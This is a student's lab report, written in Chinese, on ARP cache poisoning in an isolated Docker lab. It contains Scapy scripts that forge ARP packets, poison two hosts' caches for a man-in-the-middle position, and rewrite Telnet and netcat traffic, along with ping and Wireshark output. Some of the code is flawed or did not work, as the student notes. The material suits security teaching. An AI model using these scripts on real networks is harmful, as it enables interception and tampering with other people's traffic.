Lab4 ARP Cache Poisoning Attack Lab　　57118208 吴文婷

Task 1.A 利用 ARP Requset 欺骗

```
#!/usr/bin/env python3
from scapy.all import *

E=Ether(src='02:42:0a:09:00:69',dst='ff:ff:ff:ff:ff:ff')

A=ARP(hwsrc='02:42:0a:09:00:69',psrc='10.9.0.6',hwdst='00:00:00:00:00:00',
        pdst='10.9.0.5',op=1)
pkt =  E / A

sendp(pkt)
```

攻击效果

```
root@a0382c125b40:/# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
10.9.0.6                 ether   02:42:0a:09:00:69   C                     eth0
root@a0382c125b40:/#
```

Task 1.B

```
#!/usr/bin/env python3
from scapy.all import *

E=Ether(dst='FF:FF:FF:FF:FF:FF')

A=ARP(hwsrc='02:42:0a:09:00:69',psrc='10.9.0.6',hwdst='00:00:00:00:00:00',
        pdst='10.9.0.5',op=2)
pkt =  E / A

sendp(pkt,iface='eth0')
```

1）10.9.0.5 和 10.9.0.6 ping 以获得初始 cache

```
root@0d42ed484b03:/# ping 10.9.0.5
PING 10.9.0.5 (10.9.0.5) 56(84) bytes of data.
64 bytes from 10.9.0.5: icmp_seq=1 ttl=64 time=0.250 ms
64 bytes from 10.9.0.5: icmp_seq=2 ttl=64 time=0.132 ms
64 bytes from 10.9.0.5: icmp_seq=3 ttl=64 time=0.150 ms
64 bytes from 10.9.0.5: icmp_seq=4 ttl=64 time=0.141 ms
```

正确的 cache

```
root@27c414e68a12:/# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
10.9.0.6                 ether   02:42:0a:09:00:06   C                     eth0
```

运行代码后：

```
Address                  HWtype  HWaddress           Flags Mask            Iface
10.9.0.6                 ether   02:42:0a:09:00:69   C                     eth0
root@27c414e68a12:/#
```

2）在没有 cache 的时候运行代码没有效果

```
root@27c414e68a12:/# arp -d 10.9.0.6
root@27c414e68a12:/# arp -n
root@27c414e68a12:/# arp -n
root@27c414e68a12:/#
```

Task1.C

```
#!/usr/bin/env python3
from scapy.all import *

E=Ether(dst='FF:FF:FF:FF:FF:FF')

A=ARP(hwsrc='02:42:0a:09:00:69',psrc='10.9.0.6',hwdst='FF:FF:FF:FF:FF:FF',
        pdst='10.9.0.6',op=1)
pkt =  E / A

sendp(pkt,iface='eth0')
```

和 B 相同，在有初始 cache 的时候可以成功

```
root@27c414e68a12:/# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
10.9.0.6                 ether   02:42:0a:09:00:06   C                     eth0
root@27c414e68a12:/# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
10.9.0.6                 ether   02:42:0a:09:00:69   C                     eth0
root@27c414e68a12:/#
```

没有则不能成功

```
root@27c414e68a12:/# arp -d 10.9.0.6
root@27c414e68a12:/# arp -n
root@27c414e68a12:/# arp -n
root@27c414e68a12:/#
```

Task2

Step1

代码

```
#!/user/bin/env python3
from scapy.all import *
import time

true = 1
while true == 1:
    E=Ether(dst='FF:FF:FF:FF:FF:FF')


    A=ARP(hwsrc='02:42:0a:09:00:69',psrc='10.9.0.6',hwdst='02:42:0a:09:00:05',
        pdst='10.9.0.5',op=2)
    B=ARP(hwsrc='02:42:0a:09:00:69',psrc='10.9.0.5',hwdst='02:42:0a:09:00:06',
        pdst='10.9.0.6',op=2)
    pktA = E / A
    pktB = E / B
   sendp(pktA, iface='eth0')
   sendp(pktB, iface='eth0')
   time.sleep(5)
```

Step2

Ping 的结果

虽然可以 ping，但可以从 seq 看到并不连续

```
root@f07bdb492b18:/# ping 10.9.0.6
PING 10.9.0.6 (10.9.0.6) 56(84) bytes of data.
64 bytes from 10.9.0.6: icmp_seq=10 ttl=64 time=0.151 ms
64 bytes from 10.9.0.6: icmp_seq=11 ttl=64 time=0.273 ms
64 bytes from 10.9.0.6: icmp_seq=12 ttl=64 time=0.250 ms
64 bytes from 10.9.0.6: icmp_seq=13 ttl=64 time=0.275 ms
64 bytes from 10.9.0.6: icmp_seq=23 ttl=64 time=0.122 ms
64 bytes from 10.9.0.6: icmp_seq=24 ttl=64 time=0.235 ms
64 bytes from 10.9.0.6: icmp_seq=25 ttl=64 time=0.166 ms
64 bytes from 10.9.0.6: icmp_seq=26 ttl=64 time=0.069 ms
64 bytes from 10.9.0.6: icmp_seq=27 ttl=64 time=0.175 ms
64 bytes from 10.9.0.6: icmp_seq=28 ttl=64 time=0.170 ms
64 bytes from 10.9.0.6: icmp_seq=38 ttl=64 time=0.237 ms
64 bytes from 10.9.0.6: icmp_seq=39 ttl=64 time=0.226 ms
64 bytes from 10.9.0.6: icmp_seq=40 ttl=64 time=0.104 ms
```

Wireshark 捕获结果

1	2021-08-04 14:2…	02:42:0a:09:00:69	Broadcast	ARP	42	10.9.0.6 is at 02:42:0a:09:00:69
2	2021-08-04 14:2…	02:42:0a:09:00:69	Broadcast	ARP	42	10.9.0.5 is at 02:42:0a:09:00:69 (du
3	2021-08-04 14:2…	10.9.0.5	10.9.0.6	ICMP	98	Echo (ping) request id=0x001f, seq=
4	2021-08-04 14:2…	10.9.0.5	10.9.0.6	ICMP	98	Echo (ping) request id=0x001f, seq=
5	2021-08-04 14:2…	10.9.0.5	10.9.0.6	ICMP	98	Echo (ping) request id=0x001f, seq=
6	2021-08-04 14:2…	02:42:0a:09:00:69	Broadcast	ARP	42	10.9.0.6 is at 02:42:0a:09:00:69
7	2021-08-04 14:2…	02:42:0a:09:00:69	Broadcast	ARP	42	10.9.0.5 is at 02:42:0a:09:00:69 (du
8	2021-08-04 14:2…	10.9.0.5	10.9.0.6	ICMP	98	Echo (ping) request id=0x001f, seq=
9	2021-08-04 14:2…	10.9.0.5	10.9.0.6	ICMP	98	Echo (ping) request id=0x001f, seq=
10	2021-08-04 14:2…	10.9.0.5	10.9.0.6	ICMP	98	Echo (ping) request id=0x001f, seq=
11	2021-08-04 14:2…	02:42:0a:09:00:05	02:42:0a:09:00:69	ARP	42	Who has 10.9.0.6? Tell 10.9.0.5
12	2021-08-04 14:2…	10.9.0.5	10.9.0.6	ICMP	98	Echo (ping) request id=0x001f, seq=
13	2021-08-04 14:2…	02:42:0a:09:00:05	02:42:0a:09:00:69	ARP	42	Who has 10.9.0.6? Tell 10.9.0.5
14	2021-08-04 14:2…	10.9.0.5	10.9.0.6	ICMP	98	Echo (ping) request id=0x001f, seq=
15	2021-08-04 14:2…	02:42:0a:09:00:05	02:42:0a:09:00:69	ARP	42	Who has 10.9.0.6? Tell 10.9.0.5
16	2021-08-04 14:2…	02:42:0a:09:00:69	Broadcast	ARP	42	10.9.0.6 is at 02:42:0a:09:00:69
17	2021-08-04 14:2…	02:42:0a:09:00:69	Broadcast	ARP	42	10.9.0.5 is at 02:42:0a:09:00:69 (du
18	2021-08-04 14:2…	10.9.0.5	10.9.0.6	ICMP	98	Echo (ping) request id=0x001f, seq=
19	2021-08-04 14:2…	02:42:0a:09:00:05	Broadcast	ARP	42	Who has 10.9.0.6? Tell 10.9.0.5
20	2021-08-04 14:2…	02:42:0a:09:00:06	02:42:0a:09:00:05	ARP	42	10.9.0.6 is at 02:42:0a:09:00:06
21	2021-08-04 14:2…	10.9.0.5	10.9.0.6	ICMP	98	Echo (ping) request id=0x001f, seq=
22	2021-08-04 14:2…	10.9.0.6	10.9.0.5	ICMP	98	Echo (ping) reply id=0x001f, seq=

可以看到当 10.9.0.5 发现 10.9.0.69 没有回复的时候会发送 ICMP 包询问 10.9.0.6 的真正地址，然后 10.9.0.6 会回复真正地址，两者会在一段短暂的时间进行交流直到 10.9.0.69 再次投毒，两者断连，再次询问，回答，重连，以此循环。

Step3

Ping 的结果，中间重定向了

```
root@f07bdb492b18:/# ping 10.9.0.6
PING 10.9.0.6 (10.9.0.6) 56(84) bytes of data.
64 bytes from 10.9.0.6: icmp_seq=1 ttl=63 time=0.586 ms
From 10.9.0.105: icmp_seq=2 Redirect Host(New nexthop: 10.9.0.6)
64 bytes from 10.9.0.6: icmp_seq=2 ttl=63 time=0.238 ms
From 10.9.0.105: icmp_seq=3 Redirect Host(New nexthop: 10.9.0.6)
64 bytes from 10.9.0.6: icmp_seq=3 ttl=63 time=0.239 ms
From 10.9.0.105: icmp_seq=4 Redirect Host(New nexthop: 10.9.0.6)
64 bytes from 10.9.0.6: icmp_seq=4 ttl=63 time=0.308 ms
From 10.9.0.105: icmp_seq=5 Redirect Host(New nexthop: 10.9.0.6)
64 bytes from 10.9.0.6: icmp_seq=5 ttl=63 time=0.234 ms
From 10.9.0.105: icmp_seq=6 Redirect Host(New nexthop: 10.9.0.6)
64 bytes from 10.9.0.6: icmp_seq=6 ttl=63 time=0.306 ms
64 bytes from 10.9.0.6: icmp_seq=7 ttl=63 time=0.187 ms
From 10.9.0.105: icmp_seq=8 Redirect Host(New nexthop: 10.9.0.6)
64 bytes from 10.9.0.6: icmp_seq=8 ttl=63 time=0.231 ms
64 bytes from 10.9.0.6: icmp_seq=9 ttl=64 time=0.127 ms
64 bytes from 10.9.0.6: icmp_seq=10 ttl=64 time=0.149 ms
```

Wireshark 捕获结果

No.	Time	Source	Destination	Protocol	Length	Info
67	2021-08-04 14:0…	02:42:0a:09:00:06	02:42:0a:09:00:69	ARP	42	10.9.0.6 is at 02:42:0a:09:00:06
68	2021-08-04 14:0…	10.9.0.5	10.9.0.6	ICMP	98	Echo (ping) request id=0x001d,
69	2021-08-04 14:0…	10.9.0.6	10.9.0.5	ICMP	98	Echo (ping) reply id=0x001d,
70	2021-08-04 14:0…	10.9.0.105	10.9.0.6	ICMP	126	Redirect (Redirect f
71	2021-08-04 14:0…	02:42:0a:09:00:69	Broadcast	ARP	42	Who has 10.9.0.5? Tell 10.9.0.16
72	2021-08-04 14:0…	02:42:0a:09:00:05	02:42:0a:09:00:69	ARP	42	10.9.0.5 is at 02:42:0a:09:00:05
73	2021-08-04 14:0…	10.9.0.6	10.9.0.5	ICMP	98	Echo (ping) reply id=0x001d,
74	2021-08-04 14:0…	10.9.0.5	10.9.0.6	ICMP	98	Echo (ping) request id=0x001d,
75	2021-08-04 14:0…	10.9.0.105	10.9.0.5	ICMP	126	Redirect (Redirect f
76	2021-08-04 14:0…	10.9.0.5	10.9.0.6	ICMP	98	Echo (ping) request id=0x001d,
77	2021-08-04 14:0…	10.9.0.6	10.9.0.5	ICMP	98	Echo (ping) reply id=0x001d,
78	2021-08-04 14:0…	10.9.0.105	10.9.0.6	ICMP	126	Redirect (Redirect f
79	2021-08-04 14:0…	10.9.0.6	10.9.0.5	ICMP	98	Echo (ping) reply id=0x001d,
80	2021-08-04 14:0…	10.9.0.5	10.9.0.6	ICMP	98	Echo (ping) request id=0x001d,
81	2021-08-04 14:0…	10.9.0.105	10.9.0.5	ICMP	126	Redirect (Redirect f
82	2021-08-04 14:0…	10.9.0.5	10.9.0.6	ICMP	98	Echo (ping) request id=0x001d,
83	2021-08-04 14:0…	10.9.0.6	10.9.0.5	ICMP	98	Echo (ping) reply id=0x001d,
84	2021-08-04 14:0…	10.9.0.105	10.9.0.6	ICMP	126	Redirect (Redirect f
85	2021-08-04 14:0…	10.9.0.6	10.9.0.5	ICMP	98	Echo (ping) reply id=0x001d,
86	2021-08-04 14:0…	10.9.0.5	10.9.0.6	ICMP	98	Echo (ping) request id=0x001d,
87	2021-08-04 14:0…	10.9.0.105	10.9.0.5	ICMP	126	Redirect (Redirect f
88	2021-08-04 14:0…	10.9.0.5	10.9.0.6	ICMP	98	Echo (ping) request id=0x001d,

10.9.0.69 正确的重定向到 10.9.0.6，wireshark 中可以看到很多黑色的重定向报文。

Step 4

结果如图：

Ls 命令在改配置前后，都可以正确输入并回复

```
root@ef6fc05022fa:/volumes# sysctl net.ipv4.ip_forward=1
net.ipv4.ip_forward = 1
root@ef6fc05022fa:/volumes# sysctl net.ipv4.ip_forward=0
net.ipv4.ip_forward = 0
```

```
seed@fe5bd5565be7:/home$ ls
seed
seed@fe5bd5565be7:/home$ ls
seed
```

参照手册修改后的代码：

```
                if pkt[TCP].payload:
                        data=pkt[TCP].payload.load # the origin payload data
                        newdata='Z'*len(data)

                        send(newpkt/newdata)
                else:
                        send(newpkt)
        ###################################################################

        elif pkt[IP].src==IP_B and pkt[IP].dst==IP_A:
        # Create new packet based on the captured one
        # Do not make any change

                newpkt=IP(bytes(pkt[IP]))
                del(newpkt.chksum)
                del(newpkt[TCP].chksum)
                send(newpkt)

f='tcp and ether dst 02:42:0a:09:00:69'
pkt=sniff(iface='eth0',filter=f,prn=spoof_pkt)
                                                                    40,1-8
```

运行后还是可以输入，但并不能使所有输入都都显示为 Z

```
seed@fe5bd5565be7:~$ ls
seed@fe5bd5565be7:~$ cd /home
seed@fe5bd5565be7:/home$ ls
seed
seed@fe5bd5565be7:/home$ ls
seed
seed@fe5bd5565be7:/home$ binsc
-bash: binsc: command not found
seed@fe5bd5565be7:/home$ sdcdceeeqx
-bash: sdcdceeeqx: command not found
seed@fe5bd5565be7:/home$ aaaaa
```

Task3

在没有运行代码前可以正常使用：

```
root@fe5bd5565be7:/# nc -lp 9090
wuhu

hhh
```

```
root@f07bdb492b18:/# nc 10.9.0.6 9090
wuhu

hhh
```

代码如下

```
      # Students need to implement this part.
              if pkt[TCP].payload:
                      data=pkt[TCP].payload.load
                      newdata=data.replace(b'china','AAAAA')
                      send(newpkt/newdata)
              else:
                      send(newpkt)
      ###################################################################
```

运行代码，代码不起作用，无法替换，不知道为啥

```
root@fe5bd5565be7:/# nc -lp 9090
wuhu

hhh
dududu
china
china
why
```

```
root@f07bdb492b18:/# nc 10.9.0.6 9090
wuhu

hhh
dududu
china
china
why
```